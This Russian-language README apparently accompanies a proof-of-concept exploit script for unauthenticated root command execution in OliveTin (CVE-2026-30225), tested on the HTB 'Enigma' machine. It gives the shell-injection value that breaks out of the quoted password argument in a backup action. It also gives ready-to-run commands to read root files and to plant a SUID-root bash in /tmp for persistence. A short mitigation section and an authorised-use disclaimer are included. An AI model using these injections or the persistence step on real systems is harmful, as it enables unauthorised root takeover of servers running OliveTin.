
Эксплойт proof-of-concept для неаутентифицированного RCE в OliveTin (CVE-2026-30225) через небезопасные настройки по умолчанию для гостевого доступа и непроверяемые типы аргументов, позволяющий получить root-оболочку на уязвимых экземплярах.
PoC для повышения привилегий / удалённого выполнения кода против экземпляров OliveTin, работающих с поставляемыми настройками гостевого доступа по умолчанию. Проверено на OliveTin 3000.10.0, работающем от root (HTB: Enigma), где это даёт неаутентифицированную root-оболочку.
⚠️ Только авторизованное тестирование. Опубликовано для образования, CTF-игр и защитных исследований. Использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, незаконно. Без гарантий. См. LICENSE.
Пример / конфигурация OliveTin по умолчанию содержит:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
С этим неаутентифицированный вызывающий (WhoAmI → "guest") может
вызвать StartActionAndWait и выполнить любое действие. Действия выполняются от
пользователя процесса OliveTin — часто от root.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
Эти типы вообще не валидируются. Любое действие, чей шаблон shell:
интерполирует такой аргумент, является точкой внедрения shell-команд. На Enigma
рабочий /etc/OliveTin/config.yaml содержит:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- не валидируется, находится внутри -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # закрывает кавычку -p'…', выполняет
цепочку <cmd>, а # комментирует хвост ' <db_name> > /opt/backups/backup.sql.
A + B против root-OliveTin = неаутентифицированный RCE от root.
RestartActionRestartAction пересобирает внутренний запрос без переноса заголовков/куки
аутентификации вызывающего, поэтому повторный запуск всегда разрешается в
пользователя guest (обход ACL, когда guest имеет больше привилегий, чем вызывающий).
Исправлено в 3000.11.1.
В сборках ≤ 3000.10.x обработчик дополнительно реализован наполовину (// FIXME)
и передаёт пустой BindingId, поэтому просто возвращает
action with ID "" not found и не может ничего перевыполнить. test-restart
сообщает, что целевая система фактически делает. На Enigma этот путь — no-op —
код-выполнение дают именно баги A + B.
requests — pip install -r requirements.txt127.0.0.1:1337; туннель/пивотинг при
необходимости — на Enigma порт доступен только uid 1000)../exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check идентичность, список действий, инъекционные аргументы, статус CVE-2026-30225
test-restart только проверка поведения RestartAction
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' действовать как аутентифицированный локальный пользователь (необязательно)
# разведка
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: выполнить команду от root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# установить SUID-root bash для постоянной оболочки
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# затем: /tmp/rb -p
StartActionAndWait возвращает stdout команды в logEntry.output, поэтому
вывод (флаг, uid=0(root), …) приходит прямо в ответе.
check перечисляет все видимые действия и помечает те, чьи аргументы используют
тип без валидации. Выберите одно, выясните, как аргумент заключается в кавычки в
строке shell: (--quote single|double|none), затем exploit --inject <arg> --cmd '<payload>'. Действия, не показанные ни на одной панели, всё равно можно
запускать по ID (--action <id>).
authRequireGuestsToLogin: true и уберите exec из гостевых/дефолтных
разрешений; дайте каждому ACL минимум, который ему нужен.user: для каждого действия).type;
избегайте интерполяции аргументов в строки shell: — предпочитайте форму argv
exec: и строго экранируйте/валидируйте.RestartAction выполняет действия от guestinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Исследование и PoC при получении root на HTB: Enigma (www-data → haris → OliveTin → root).